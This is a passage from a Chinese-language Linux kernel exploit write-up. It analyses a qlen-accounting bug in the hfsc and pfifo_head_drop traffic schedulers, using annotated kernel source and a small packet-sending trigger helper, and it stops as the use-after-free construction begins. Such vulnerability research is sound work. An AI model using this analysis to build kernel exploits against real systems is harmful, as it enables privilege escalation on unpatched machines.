	.qlen_notify	= hfsc_qlen_notify,
	.find		= hfsc_search_class, 		// <---
	.bind_tcf	= hfsc_bind_tcf,
	.unbind_tcf	= hfsc_unbind_tcf,
	.tcf_block	= hfsc_tcf_block,
	.dump		= hfsc_dump_class,
	.dump_stats	= hfsc_dump_class_stats,
	.walk		= hfsc_walk
};

// [2-2] hfsc_graft_class() - hfsc_class cl->qdisc = new Qdisc
static int
hfsc_graft_class(struct Qdisc *sch, unsigned long arg, struct Qdisc *new,
		 struct Qdisc **old, struct netlink_ext_ack *extack)
{
	struct hfsc_class *cl = (struct hfsc_class *)arg;
	... 
	*old = qdisc_replace(sch, new, &cl->qdisc); 	// [3] cl->qdisc = new
	return 0;
}
// [3]
static inline struct Qdisc *qdisc_replace(struct Qdisc *sch, struct Qdisc *new,
					  struct Qdisc **pold)
{
	struct Qdisc *old;

	sch_tree_lock(sch);
	old = *pold;
	*pold = new;
	if (old != NULL) 			// 
		qdisc_purge_queue(old);	// 若原先 cl->qdisc 存在一个 Qdisc,则删除原先的 Qdisc
	sch_tree_unlock(sch);

	return old;
}

(3)Qdisc创建-pfifo_head_drop

调用链:和hfsc Qdisc分配一样,不同点是Qdisc初始化函数是fifo_hd_init()

  • SYSCALL_DEFINE4-sendto -> __sys_sendto() -> __sock_sendmsg() -> sock_sendmsg_nosec() -> sock->ops->sendmsg - netlink_sendmsg() -> netlink_unicast() -> netlink_unicast_kernel() -> nlk->netlink_rcv - rtnetlink_rcv() -> netlink_rcv_skb() -> rtnetlink_rcv_msg()
  • link->doit - tc_modify_qdisc()
    • tc_modify_qdisc() -> qdisc_create() -> qdisc_alloc() & **fifo_hd_init() **
    • tc_modify_qdisc() -> qdisc_graft() -> hfsc_search_class() & hfsc_graft_class() -> qdisc_replace()
struct Qdisc_ops pfifo_head_drop_qdisc_ops __read_mostly = {
	.id		=	"pfifo_head_drop",
	.priv_size	=	0,
	.enqueue	=	pfifo_tail_enqueue,
	.dequeue	=	qdisc_dequeue_head,
	.peek		=	qdisc_peek_head,
	.init		=	fifo_hd_init,
	.reset		=	qdisc_reset_queue,
	.change		=	fifo_hd_init,
	.dump		=	fifo_hd_dump,
	.owner		=	THIS_MODULE,
};
// qdisc_create() -> fifo_hd_init()
static int fifo_hd_init(struct Qdisc *sch, struct nlattr *opt,
			struct netlink_ext_ack *extack)
{
	return __fifo_init(sch, opt, extack);
}
    
static int __fifo_init(struct Qdisc *sch, struct nlattr *opt,
		       struct netlink_ext_ack *extack)
{
	bool bypass;
	bool is_bfifo = sch->ops == &bfifo_qdisc_ops;
	...
		sch->limit = ctl->limit; 		// <--- 设置limit
	if (is_bfifo)
		bypass = sch->limit >= psched_mtu(qdisc_dev(sch));
	else
		bypass = sch->limit >= 1; 	// <---  若设置为0, bypass == false

	if (bypass)
		sch->flags |= TCQ_F_CAN_BYPASS;
	else
		sch->flags &= ~TCQ_F_CAN_BYPASS; 	// <---
	...
}

(4)删除Qdisc

调用链RTM_DELQDISC

  • SYSCALL_DEFINE4-sendto -> __sys_sendto() -> __sock_sendmsg() -> sock_sendmsg_nosec() -> sock->ops->sendmsg - netlink_sendmsg() -> netlink_unicast() -> netlink_unicast_kernel() -> nlk->netlink_rcv - rtnetlink_rcv() -> netlink_rcv_skb() -> rtnetlink_rcv_msg() —— 前面和分配Qdisc调用链一样

  • link->doit - tc_get_qdisc() ——根据family和nlmsghdr->nlmsg_type找到对应的rtnl_link对象,并调用rtnl_link->doit函数。
  • -> qdisc_graft() -> hfsc_graft_class() -> qdisc_create_dflt() & qdisc_replace() -> qdisc_purge_queue() -> qdisc_tree_reduce_backlog()

代码:删除传入handle对应的Qdisc,新建一个类型为 “pfifo” 的Qdisc (pfifo_qdisc_ops) 替换old,并将待删除的Qdisc->q.qlen清0,将parent Qdisc的 ->q.qlen 减去待删除的Qdisc->q.qlen

static int tc_get_qdisc(struct sk_buff *skb, struct nlmsghdr *n,
			struct netlink_ext_ack *extack)
{
	struct net *net = sock_net(skb->sk);
	struct tcmsg *tcm = nlmsg_data(n);
	struct nlattr *tca[TCA_MAX + 1];
	struct net_device *dev;
	u32 clid;
	struct Qdisc *q = NULL;
	struct Qdisc *p = NULL;
	int err;

	err = nlmsg_parse_deprecated(n, sizeof(*tcm), tca, TCA_MAX,
				     rtm_tca_policy, extack);
	...
	dev = __dev_get_by_index(net, tcm->tcm_ifindex);
	...
	clid = tcm->tcm_parent;
	if (clid) { 	// 找到对应 `tcm->tcm_handle` 的 Qdisc
		if (clid != TC_H_ROOT) {
			if (TC_H_MAJ(clid) != TC_H_MAJ(TC_H_INGRESS)) {
				p = qdisc_lookup(dev, TC_H_MAJ(clid));
				...
				q = qdisc_leaf(p, clid); 	// 这里 p - Qdisc_A / q - Qdisc_C
			} else if (dev_ingress_queue(dev)) {
				q = rtnl_dereference(dev_ingress_queue(dev)->qdisc_sleeping);
			}
		} else { 	// 若parent为TC_H_ROOT,则直接取dev对应的首个Qdisc
			q = rtnl_dereference(dev->qdisc);
		}
		...
		if (tcm->tcm_handle && q->handle != tcm->tcm_handle) {
			NL_SET_ERR_MSG(extack, "Invalid handle");
			return -EINVAL;
		}
	} else {
		q = qdisc_lookup(dev, tcm->tcm_handle);
		...
	}

	if (tca[TCA_KIND] && nla_strcmp(tca[TCA_KIND], q->ops->id)) {
		NL_SET_ERR_MSG(extack, "Invalid qdisc name");
		return -EINVAL;
	}

	if (n->nlmsg_type == RTM_DELQDISC) {
		...
		err = qdisc_graft(dev, p, skb, n, clid, NULL, q, extack); 	// [1] <- qdisc_graft() 删除对应的 Qdisc - q
		if (err != 0)
			return err;
	} else {
		qdisc_notify(net, skb, n, clid, NULL, q, NULL);
	}
	return 0;
}
// [1]
static int qdisc_graft(struct net_device *dev, struct Qdisc *parent,
		       struct sk_buff *skb, struct nlmsghdr *n, u32 classid,
		       struct Qdisc *new, struct Qdisc *old,
		       struct netlink_ext_ack *extack)
{
	struct Qdisc *q = old;
	struct net *net = dev_net(dev);

	if (parent == NULL) {
		...
	} else {
		const struct Qdisc_class_ops *cops = parent->ops->cl_ops; 	// 对应 struct Qdisc_class_ops hfsc_class_ops
		unsigned long cl;
		int err;
		...
		cl = cops->find(parent, classid); 					// 返回parent对应的class, hfsc_class, class_A
		...
		err = cops->graft(parent, cl, new, &old, extack); 	// [2] <- hfsc_graft_class
		if (err)
			return err;
		notify_and_destroy(net, skb, n, classid, old, new, extack); 	// 释放old - Qdisc notify_and_destroy() -> qdisc_put() -> __qdisc_destroy() -> qdisc_free_cb() -> qdisc_free() -> kfree()
	}
	return 0;
}

static const struct Qdisc_class_ops hfsc_class_ops = {
	.change		= hfsc_change_class,
	.delete		= hfsc_delete_class,
	.graft		= hfsc_graft_class, 	// <---
	.leaf		= hfsc_class_leaf,
	.qlen_notify	= hfsc_qlen_notify,
	.find		= hfsc_search_class, 	// <---
	.bind_tcf	= hfsc_bind_tcf,
	.unbind_tcf	= hfsc_unbind_tcf,
	.tcf_block	= hfsc_tcf_block,
	.dump		= hfsc_dump_class,
	.dump_stats	= hfsc_dump_class_stats,
	.walk		= hfsc_walk
};
// [2] 删除 old 对应的Qdisc,新建一个类型为 "pfifo" 的Qdisc (pfifo_qdisc_ops) 替换old,并将待删除的Qdisc->q.qlen清0,将parent Qdisc的 `->q.qlen` 减去待删除的`Qdisc->q.qlen`
static int hfsc_graft_class(struct Qdisc *sch, unsigned long arg, struct Qdisc *new,
		 struct Qdisc **old, struct netlink_ext_ack *extack)
{
	struct hfsc_class *cl = (struct hfsc_class *)arg;

	if (cl->level > 0)
		return -EINVAL;
	if (new == NULL) {
		new = qdisc_create_dflt(sch->dev_queue, &pfifo_qdisc_ops, 	// [3-1] <- qdisc_create_dflt() 创建类型为 "pfifo_fast" 的 Qdisc
					cl->cl_common.classid, NULL);
		if (new == NULL)
			new = &noop_qdisc;
	}

	*old = qdisc_replace(sch, new, &cl->qdisc); 	// [3-2] 用 new 替换 cl->qdisc
	return 0;
}
// [3-1]
struct Qdisc *qdisc_create_dflt(struct netdev_queue *dev_queue,
				const struct Qdisc_ops *ops,
				unsigned int parentid,
				struct netlink_ext_ack *extack)
{
	struct Qdisc *sch;
	...
	sch = qdisc_alloc(dev_queue, ops, extack);
	...
	sch->parent = parentid;

	if (!ops->init || ops->init(sch, NULL, extack) == 0) {
		trace_qdisc_create(ops, dev_queue->dev, parentid);
		return sch;
	}

	qdisc_put(sch);
	return NULL;
}
EXPORT_SYMBOL(qdisc_create_dflt);
// [3-2]
static inline struct Qdisc *qdisc_replace(struct Qdisc *sch, struct Qdisc *new,
					  struct Qdisc **pold)
{
	struct Qdisc *old;

	sch_tree_lock(sch);
	old = *pold;
	*pold = new;
	if (old != NULL)
		qdisc_purge_queue(old); 	// [4]
	sch_tree_unlock(sch);

	return old;
}
// [4]
static inline void qdisc_purge_queue(struct Qdisc *sch)
{
	__u32 qlen, backlog;

	qdisc_qstats_qlen_backlog(sch, &qlen, &backlog);
	qdisc_reset(sch); 	// [4-1]
	qdisc_tree_reduce_backlog(sch, qlen, backlog); 	// [4-2] 向上遍历parent Qdisc,依次将 parent Qdisc 的 ->q.qlen 减去待删除Qdisc的 ->q.qlen
}
// [4-1] qdisc_reset() —— 清空待删除的Qdisc的sk_buff队列,->q.qlen 清零
void qdisc_reset(struct Qdisc *qdisc)
{
	const struct Qdisc_ops *ops = qdisc->ops;

	trace_qdisc_reset(qdisc);

	if (ops->reset)
		ops->reset(qdisc); 	// qdisc_reset_queue() - 主要是清空 sch->q->head (指向 sk_buff) sch->q.qlen=0

	__skb_queue_purge(&qdisc->gso_skb);
	__skb_queue_purge(&qdisc->skb_bad_txq);

	qdisc->q.qlen = 0; 		// 重复操作?
	qdisc->qstats.backlog = 0;
}
EXPORT_SYMBOL(qdisc_reset);
// [4-2]
void qdisc_tree_reduce_backlog(struct Qdisc *sch, int n, int len)
{
	bool qdisc_is_offloaded = sch->flags & TCQ_F_OFFLOADED;
	const struct Qdisc_class_ops *cops;
	unsigned long cl;
	u32 parentid;
	bool notify;
	int drops;
    ...
    while ((parentid = sch->parent)) {
		if (parentid == TC_H_ROOT)
			break;
        ...
        sch = qdisc_lookup_rcu(qdisc_dev(sch), TC_H_MAJ(parentid));
        ...
        sch->q.qlen -= n; 			// <--- parent Qdisc 的 ->q.qlen 要减去待删除Qdisc的 ->q.qlen
		sch->qstats.backlog -= len;
		__qdisc_qstats_drop(sch, drops);
	}
	rcu_read_unlock();
}
EXPORT_SYMBOL(qdisc_tree_reduce_backlog);

(5)创建hfsc_class

调用链:根据 nlmsg_type - RTM_NEWTCLASS 找到 tc_ctl_tclass()

  • SYSCALL_DEFINE4-sendto -> __sys_sendto() -> __sock_sendmsg() -> sock_sendmsg_nosec() -> sock->ops->sendmsg - netlink_sendmsg() -> netlink_unicast() -> netlink_unicast_kernel() -> nlk->netlink_rcv - rtnetlink_rcv() -> netlink_rcv_skb() -> rtnetlink_rcv_msg() —— 前面和分配Qdisc调用链一样
  • link->doit - tc_ctl_tclass() -> hfsc_change_class() (根据q->ops->cl_ops所属的class类型来确定)创建hfsc_class对象。修改class也是通过本函数。

代码:除了创建一个hfsc_class,还会创建一个默认的 “pfifo” 类型的 Qdisc,存入hfsc_class->qdisc

static int tc_ctl_tclass(struct sk_buff *skb, struct nlmsghdr *n,
			 struct netlink_ext_ack *extack)
{
	struct net *net = sock_net(skb->sk);
	struct tcmsg *tcm = nlmsg_data(n);
	struct nlattr *tca[TCA_MAX + 1];
	struct net_device *dev;
	struct Qdisc *q = NULL;
	const struct Qdisc_class_ops *cops;
	unsigned long cl = 0;
	unsigned long new_cl;
	u32 portid;
	u32 clid;
	u32 qid;
	int err;

	err = nlmsg_parse_deprecated(n, sizeof(*tcm), tca, TCA_MAX,
				     rtm_tca_policy, extack);
	...
	dev = __dev_get_by_index(net, tcm->tcm_ifindex);
	...
	portid = tcm->tcm_parent; 			// portid = 0xaaaa0000  - parent
	clid = tcm->tcm_handle; 			// clid = 0xaaaaaaaa
	qid = TC_H_MAJ(clid); 				// qid = 0xaaaa0000

	if (portid != TC_H_ROOT) {
		u32 qid1 = TC_H_MAJ(portid);	// qid1 = 0xaaaa0000  - parent
		...
		if (portid)
			portid = TC_H_MAKE(qid, portid); 	// portid = (qid & 0xffff0000) | (portid & 0xffff) = 0xaaaa0000
	} else {
		if (qid == 0)
			qid = rtnl_dereference(dev->qdisc)->handle;
	}

	/* OK. Locate qdisc */
	q = qdisc_lookup(dev, qid); 				// q - Qdisc_A
	...
	/* An check that it supports classes */
	cops = q->ops->cl_ops; 						// cops - hfsc_class_ops
	...
	/* Now try to get class */
	if (clid == 0) {
		if (portid == TC_H_ROOT)
			clid = qid;
	} else
		clid = TC_H_MAKE(qid, clid); 			// clid = 0xaaaaaaaa

	if (clid)
		cl = cops->find(q, clid); 				// cl = NULL 当前不存在 class_A

	if (cl == 0) { 								
		err = -ENOENT;
		if (n->nlmsg_type != RTM_NEWTCLASS ||
		    !(n->nlmsg_flags & NLM_F_CREATE))
			goto out;
	} else {
		switch (n->nlmsg_type) {
		case RTM_NEWTCLASS:
			err = -EEXIST;
			if (n->nlmsg_flags & NLM_F_EXCL)
				goto out;
			break;
		case RTM_DELTCLASS:
			err = tclass_del_notify(net, cops, skb, n, q, cl, extack);
			/* Unbind the class with flilters with 0 */
			tc_bind_tclass(q, portid, clid, 0);
			goto out;
		case RTM_GETTCLASS:
			err = tclass_notify(net, skb, n, q, cl, RTM_NEWTCLASS, extack);
			goto out;
		default:
			err = -EINVAL;
			goto out;
		}
	}
	...
	new_cl = cl; 								// new_cl = cl = NULL
	err = -EOPNOTSUPP;
	if (cops->change)
		err = cops->change(q, clid, portid, tca, &new_cl, extack); 	// [1] <- hfsc_change_class()  q - Qdisc_A / clid - 0xaaaaaaaa / portid - 0xaaaa0000 / new_cl - 0
	if (err == 0) {
		tclass_notify(net, skb, n, q, new_cl, RTM_NEWTCLASS, extack);
		/* We just create a new class, need to do reverse binding. */
		if (cl != new_cl)
			tc_bind_tclass(q, portid, clid, new_cl); 	// [2] q - Qdisc_A / portid - 0xaaaa0000 / clid - 0xaaaaaaaa / new_cl - class_A
	}
out:
	return err;
}
// [1] hfsc_change_class() - 创建hfsc_class
static int hfsc_change_class(struct Qdisc *sch, u32 classid, u32 parentid,
		  struct nlattr **tca, unsigned long *arg,
		  struct netlink_ext_ack *extack)
{
	struct hfsc_sched *q = qdisc_priv(sch);
	struct hfsc_class *cl = (struct hfsc_class *)*arg;			// cl = 0
	struct hfsc_class *parent = NULL;
	struct nlattr *opt = tca[TCA_OPTIONS];
	struct nlattr *tb[TCA_HFSC_MAX + 1];
	struct tc_service_curve *rsc = NULL, *fsc = NULL, *usc = NULL;
	u64 cur_time;
	int err;
	...
	err = nla_parse_nested_deprecated(tb, TCA_HFSC_MAX, opt, hfsc_policy,
					  NULL);
	...
	if (tb[TCA_HFSC_RSC]) {
		rsc = nla_data(tb[TCA_HFSC_RSC]);
		if (rsc->m1 == 0 && rsc->m2 == 0)
			rsc = NULL;
	}

	if (tb[TCA_HFSC_FSC]) {
		fsc = nla_data(tb[TCA_HFSC_FSC]);
		if (fsc->m1 == 0 && fsc->m2 == 0)
			fsc = NULL;
	}

	if (tb[TCA_HFSC_USC]) {
		usc = nla_data(tb[TCA_HFSC_USC]);
		if (usc->m1 == 0 && usc->m2 == 0)
			usc = NULL;
	}

	if (cl != NULL) { 				// cl为NULL则创建class,cl不为NULL则修改现有class !!!!!
        ...
	}

	if (parentid == TC_H_ROOT) 		// parentid = 0xaaaa0000
		return -EEXIST;

	parent = &q->root; 				// parent - hfsc_class - 0xaaaa0000
	if (parentid) {
		parent = hfsc_find_class(parentid, sch); 	// 本exp中找到的还是同一个 hfsc_class
		if (parent == NULL)
			return -ENOENT;
	}

	if (classid == 0 || TC_H_MAJ(classid ^ sch->handle) != 0) 	// classid = 0xaaaaaaaa
		return -EINVAL;
	if (hfsc_find_class(classid, sch))	// 判断是否已存在
		return -EEXIST;

	if (rsc == NULL && fsc == NULL) 	// rsc 必须传入值 tc_service_curve
		return -EINVAL;

	cl = kzalloc(sizeof(struct hfsc_class), GFP_KERNEL); 	// 分配 hfsc_class
	...
	if (rsc != NULL)
		hfsc_change_rsc(cl, rsc, 0);
	if (fsc != NULL)
		hfsc_change_fsc(cl, fsc);
	if (usc != NULL)
		hfsc_change_usc(cl, usc, 0);

	cl->cl_common.classid = classid; 	// 初始化 hfsc_class
	cl->sched     = q;
	cl->cl_parent = parent;
	cl->qdisc = qdisc_create_dflt(sch->dev_queue, &pfifo_qdisc_ops, 	// classid = 0xaaaaaaaa
				      classid, NULL); 	// !!! 创建一个默认的 "pfifo" 类型的 Qdisc
	if (cl->qdisc == NULL)
		cl->qdisc = &noop_qdisc;
	else
		qdisc_hash_add(cl->qdisc, true);
	...
	if (parent->level == 0)
		qdisc_purge_queue(parent->qdisc);
	...

	*arg = (unsigned long)cl; 	// 存放到 *arg,便于caller继续处理
	return 0;
}

1-4. 结构关系

(1)网络接口到Qdisc

说明:qdisc需要attach到网络接口上,一个网络接口可以有多个qdisc。

关键函数: __dev_queue_xmit() -> netdev_core_pick_tx() -> netdev_get_tx_queue()

结构关系:

struct sk_buff *skb
struct net_device *dev = skb->dev;
struct netdev_queue *txq = dev->_tx[index];
struct Qdisc *q = txq->qdisc

(2)Qdisc

struct Qdisc {
	int 			(*enqueue)(struct sk_buff *skb, 	// packet入队函数
					   struct Qdisc *sch,
					   struct sk_buff **to_free);
	struct sk_buff *	(*dequeue)(struct Qdisc *sch); 	// packet出队函数
	unsigned int		flags;
	u32			limit;
	const struct Qdisc_ops	*ops; 			// 操作函数表
	struct qdisc_size_table	__rcu *stab;
	struct hlist_node       hash;
	u32			handle; 					// 标识
	u32			parent; 					// 父Qdisc
    ...
    /* private data */
	long privdata[] ____cacheline_aligned; 		// 指向 hfsc_sched 结构 (hfsc 类型)
};

(3)Qdisc到class

说明:class和filter都需要attach到qdisc上。

关键函数:hfsc_enqueue() -> hfsc_classify() -> hfsc_find_class() -> qdisc_class_find()

结构关系:

  • 从Qdisc找到hfsc_classQdisc->privdata->clhash->hash == hfsc_class->cl_common->hnode

(4)class

hfsc_sched

  • Qdisc->privdata 指向 hfsc_sched
  • Qdisc->privdata->eligible.rb_node 指向红黑树 rb_tree 的根节点,以此根节点能够检索到每一个class。
struct hfsc_sched {
	u16	defcls;				/* default class id */
	struct hfsc_class root;			/* root class */ 		// root Qdisc 对应的 class
	struct Qdisc_class_hash clhash;		/* class hash */ 	// 可从Qdisc索引到class
	struct rb_root eligible;		/* eligible tree */ 	// 指向 rb_tree 中的根节点
	struct qdisc_watchdog watchdog;		/* watchdog timer */
};
struct rb_root {
	struct rb_node *rb_node;
};

hfsc_class

  • hfsc_class->el_node - class中的当前节点,可以插入到rb_tree中,通常在packet入队(hfsc_enqueue() -> update_ed())或者修改class属性(hfsc_change_class() -> update_ed())时触发节点插入操作。
struct Qdisc_class_common {
	u32			classid;
	unsigned int		filter_cnt;
	struct hlist_node	hnode;
};

struct hfsc_class {
	struct Qdisc_class_common cl_common;
	...
	unsigned int	level;		/* class level in hierarchy */

	struct hfsc_sched *sched;	/* scheduler data */ 				// 和 Qdisc->privdata 相同
	struct hfsc_class *cl_parent;	/* parent class */ 				// 父 hfsc_class
	struct list_head siblings;	/* sibling classes */
	struct list_head children;	/* child classes */
	struct Qdisc	*qdisc;		/* leaf qdisc */ 					// 下一个Qdisc

	struct rb_node el_node;		/* qdisc's eligible tree member */ 	// rb_tree中的当前节点,可以插入到rb_tree中
	struct rb_root vt_tree;		/* active children sorted by cl_vt */
	...
	u64	cl_d;			/* deadline*/
	u64	cl_e;			/* eligible time */
	u64	cl_vt;			/* virtual time */
	u64	cl_f;			/* time when this class will fit for
					   link-sharing, max(myf, cfmin) */
	...

	struct internal_sc cl_rsc;	/* internal real-time service curve */
	struct internal_sc cl_fsc;	/* internal fair service curve */
	struct internal_sc cl_usc;	/* internal upperlimit service curve */
	...
};

2. 漏洞分析

2-1. 漏洞点

预期正常行为:当我们达到调度器的packet个数限制时,pfifo_tail_enqueue()会丢弃调度器队列中的packet,并将调度器的qlen减1。然后,pfifo_tail_enqueue()会入队一个新的packet,并将调度器的qlen加1;最后,pfifo_tail_enqueue()会返回NET_XMIT_CN状态码,父Qdisc就不会增加qlen。

异常行为:如果我们设置sch->limit == 0,并对一个没有packet的scheduler触发pfifo_tail_enqueue(),则不会执行丢包步骤,也即scheduler的qlen还是为0。接着,我们继续入队新的packet并将调度器的qlen加1。总的来说,我们可以利用pfifo_tail_enqueue()递增qlen并返回NET_XMIT_CN状态码,导致父Qdisc和子Qdisc的qlen个数不一致。

问题:假设我们有两个qdiscs,Qdisc_AQdisc_B

  • Qdisc_A的type必须有->graft()函数来创建父/子关系。假设Qdisc_A的type为hfsc,向该qdisc入队packet会触发hfsc_enqueue()
  • Qdisc_B的type是pfifo_head_drop,向该qdisc入队会触发pfifo_tail_enqueue()
  • Qdisc_B设置为sch->limit == 0
  • Qdisc_A设置为,将入队的packet路由到Qdisc_BQdisc_A -> Qdisc_B

通过Qdisc_A入队packet会导致

  • hfsc_enqueue(Qdisc_A) -> pfifo_tail_enqueue(Qdisc_B)
  • Qdisc_B->q.qlen += 1
  • pfifo_tail_enqueue() 返回 NET_XMIT_CN
  • hfsc_enqueue() 检查返回值是否为NET_XMIT_SUCCESS,但返回值为 NET_XMIT_CN,因而hfsc_enqueue()不会增加 Qdisc_A 的qlen。

以上过程会导致Qdisc_A->q.qlen == 0Qdisc_B->q.qlen == 1 父子Qdisc的qlen值不同。不用hfsc type,用其他type(例如drr)也会导致相同问题。原本预期应该是父亲的qlen等于儿子的qlen之和。

漏洞函数 pfifo_tail_enqueue()

// pfifo_tail_enqueue() -> __qdisc_queue_drop_head() -> __qdisc_dequeue_head()
static int pfifo_tail_enqueue(struct sk_buff *skb, struct Qdisc *sch,
			      struct sk_buff **to_free)
{
	unsigned int prev_backlog;

	if (likely(sch->q.qlen < sch->limit)) 				// [1] 小于qdisc长度限制,则直接加入到队尾。
		return qdisc_enqueue_tail(skb, sch); 				// 将skb加入到 sch->q->tail 后面,sch->q->qlen 加1,sch->q结构是 qdisc_skb_head 			返回 NET_XMIT_SUCCESS

	prev_backlog = sch->qstats.backlog;
	/* queue full, remove one skb to fulfill the limit */
	__qdisc_queue_drop_head(sch, &sch->q, to_free);		// [2] 队列满了,则丢弃头部的packet (sch->q->head), sch->q->qlen--
	qdisc_qstats_drop(sch); 								//  sch->qstats->drops++
	qdisc_enqueue_tail(skb, sch);						// [3] 入队新的packet。加到 sch->q->tail 后面,sch->q->qlen 加1

	qdisc_tree_reduce_backlog(sch, 0, prev_backlog - sch->qstats.backlog);
	return NET_XMIT_CN; 	// 返回 NET_XMIT_CN
}
// [2] __qdisc_queue_drop_head()
static inline unsigned int __qdisc_queue_drop_head(struct Qdisc *sch,
						   struct qdisc_skb_head *qh,
						   struct sk_buff **to_free)
{
	struct sk_buff *skb = __qdisc_dequeue_head(qh);		// [2-1] <---

	if (likely(skb != NULL)) { 							
		unsigned int len = qdisc_pkt_len(skb);

		qdisc_qstats_backlog_dec(sch, skb);
		__qdisc_drop(skb, to_free);
		return len;
	}

	return 0;
}
// [2-1] __qdisc_dequeue_head()
static inline struct sk_buff *__qdisc_dequeue_head(struct qdisc_skb_head *qh)
{
	struct sk_buff *skb = qh->head;

	if (likely(skb != NULL)) { 							// 若 `sch->q.qlen == 0`, skb == NULL, 则不会进行 sch->q->qlen--, 提前返回
		qh->head = skb->next;
		qh->qlen--; 									// <- qlen--
		if (qh->head == NULL)
			qh->tail = NULL;
		skb->next = NULL;
	}

	return skb;
}

重点注意

  • 每当->enqueue()返回NET_XMIT_SUCCESS,都会调用 ->dequeue()
  • ->dequeue()会打破调度器操作步骤;
  • 如果sch->q.qlen == 0->dequeue()会提前返回;
  • 考虑以下出队流:->dequeue(Qdisc_A) -> ->dequeue(Qdisc_B) -> ->dequeue(Qdisc_C)。只要某个Qdisc满足qlen == 0,就会导致返回NULL skb并提前返回,偏离出队过程。

2-2. 漏洞触发-enqueue

用户调用:用户通过绑定Qdisc的网卡向外发包来触发。

void trigger_qdisc_enqueue(int packet_socket, int ifindex)
{
	u8 packet_data[128] = {};
	send_packet_to_network_interface(packet_socket, ifindex, packet_data, sizeof(packet_data));
}
void send_packet_to_network_interface(int raw_packet_socket, int ifidx, void *data, size_t len)
{
	struct msghdr msg = {};
	struct sockaddr_ll saddr = { .sll_ifindex = ifidx };
	msg.msg_name = &saddr;
	msg.msg_namelen = sizeof(struct sockaddr_ll);
	struct iovec iov = { .iov_base = data, .iov_len = len };
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	Sendmsg(raw_packet_socket, &msg, 0); 		// sendmsg(socket, message, flags)
}

内核trace:第1个Qdisc类型为hfsc,所以enqueue入队处理函数是 hfsc_enqueue()(参见static struct Qdisc_ops hfsc_qdisc_ops对象定义),传给第2个Qdisc类型为pfifo_head_drop(漏洞Qdisc对象),对应enqueue入队函数是pfifo_tail_enqueue()(参见static struct pfifo_head_drop_qdisc_ops对象定义)

  • __sock_sendmsg() -> sock_sendmsg_nosec() -> sock->ops->sendmsg - packet_sendmsg() -> packet_snd() -> packet_xmit() -> dev_queue_xmit() -> __dev_queue_xmit() -> __dev_xmit_skb() -> dev_qdisc_enqueue()

  • hfsc_enqueue() (第1个Qdisc - hfsc) -> pfifo_tail_enqueue()(第2个Qdisc - pfifo_head_drop

static int
hfsc_enqueue(struct sk_buff *skb, struct Qdisc *sch, struct sk_buff **to_free)
{
	unsigned int len = qdisc_pkt_len(skb);
	struct hfsc_class *cl;
	int err;
	bool first;

	cl = hfsc_classify(skb, sch, &err); 	// 找到对应的 hfsc_class
	...
	first = !cl->qdisc->q.qlen; 			
	err = qdisc_enqueue(skb, cl->qdisc, to_free);	// <--- sch->enqueue(skb, sch, to_free) 调用子 Qdisc 的 enqueue()
	if (unlikely(err != NET_XMIT_SUCCESS)) {
		if (net_xmit_drop_count(err)) { 	// !!! 漏洞点:若子 Qdisc 返回 NET_XMIT_CN, 则提前返回。qlen不会加1(默认子Qdisc丢了head包,加了尾部包,qlen不变,实际上子Qdisc的qlen进行了加1)
			cl->qstats.drops++;
			qdisc_qstats_drop(sch);
		}
		return err;
	}

	if (first) { 							// 若 Qdisc->q.qlen 为0则需初始化
		if (cl->cl_flags & HFSC_RSC)
			init_ed(cl, len);
		if (cl->cl_flags & HFSC_FSC)
			init_vf(cl, len);
		/*
		 * If this is the first packet, isolate the head so an eventual
		 * head drop before the first dequeue operation has no chance
		 * to invalidate the deadline.
		 */
		if (cl->cl_flags & HFSC_RSC)
			cl->qdisc->ops->peek(cl->qdisc);

	}

	sch->qstats.backlog += len;
	sch->q.qlen++; 							// 正常处理1个packet, 则增加 sch->q.qlen

	return NET_XMIT_SUCCESS;
}
// pfifo_tail_enqueue() -> __qdisc_queue_drop_head() -> __qdisc_dequeue_head()
// 1.若满足长度限制,则正常加入到 Qdisc->q->tail 后面, Qdisc->q->qlen 加1, 返回 NET_XMIT_SUCCESS
// 2.若超出长度限制,则先丢弃头部packet (Qdisc->q->head), Qdisc->q->qlen 减1;再加入到 Qdisc->q->tail 后面, Qdisc->q->qlen 加1, 返回 NET_XMIT_CN。 
// 问题:若 Qdisc->limit == 0,则 Qdisc->q->qlen == 0, 则不会丢弃头部packet,也不会 Qdisc->q->qlen 减1;再加入到 Qdisc->q->tail 后面, Qdisc->q->qlen 加1, 返回 NET_XMIT_CN。  只有 Qdisc->q->qlen 加1, 并返回 NET_XMIT_CN
static int pfifo_tail_enqueue(struct sk_buff *skb, struct Qdisc *sch,
			      struct sk_buff **to_free)
{
	unsigned int prev_backlog;

	if (likely(sch->q.qlen < sch->limit)) 				// [1] 小于qdisc长度限制,则直接加入到队尾。
		return qdisc_enqueue_tail(skb, sch); 				// 将skb加入到 sch->q->tail 后面,sch->q->qlen 加1,sch->q结构是 qdisc_skb_head 			返回 NET_XMIT_SUCCESS

	prev_backlog = sch->qstats.backlog;
	/* queue full, remove one skb to fulfill the limit */
	__qdisc_queue_drop_head(sch, &sch->q, to_free);		// [2] 队列满了,则丢弃头部的packet (sch->q->head), sch->q->qlen--
	qdisc_qstats_drop(sch); 								//  sch->qstats->drops++
	qdisc_enqueue_tail(skb, sch);						// [3] 将skb加入到 sch->q->tail 后面,sch->q->qlen 加1

	qdisc_tree_reduce_backlog(sch, 0, prev_backlog - sch->qstats.backlog);
	return NET_XMIT_CN; 	// 返回 NET_XMIT_CN
}
// [2] __qdisc_queue_drop_head()
static inline unsigned int __qdisc_queue_drop_head(struct Qdisc *sch,
						   struct qdisc_skb_head *qh,
						   struct sk_buff **to_free)
{
	struct sk_buff *skb = __qdisc_dequeue_head(qh);		// [2-1] <--- __qdisc_dequeue_head()

	if (likely(skb != NULL)) { 							
		unsigned int len = qdisc_pkt_len(skb);

		qdisc_qstats_backlog_dec(sch, skb);
		__qdisc_drop(skb, to_free);
		return len;
	}

	return 0;
}
// [2-1] __qdisc_dequeue_head()
static inline struct sk_buff *__qdisc_dequeue_head(struct qdisc_skb_head *qh)
{
	struct sk_buff *skb = qh->head;

	if (likely(skb != NULL)) { 							// 若 `sch->q.qlen == 0`, skb == NULL, 则不会进行 sch->q->qlen--, 提前返回
		qh->head = skb->next;
		qh->qlen--; 									// <--- sch->q->qlen--
		if (qh->head == NULL)
			qh->tail = NULL;
		skb->next = NULL;
	}

	return skb;
}

3. 构造UAF

构造UAF的两个关键函数:

先看看内核代码流:

  • Flow1: hfsc_enqueue() -> init_ed() -> eltree_insert()
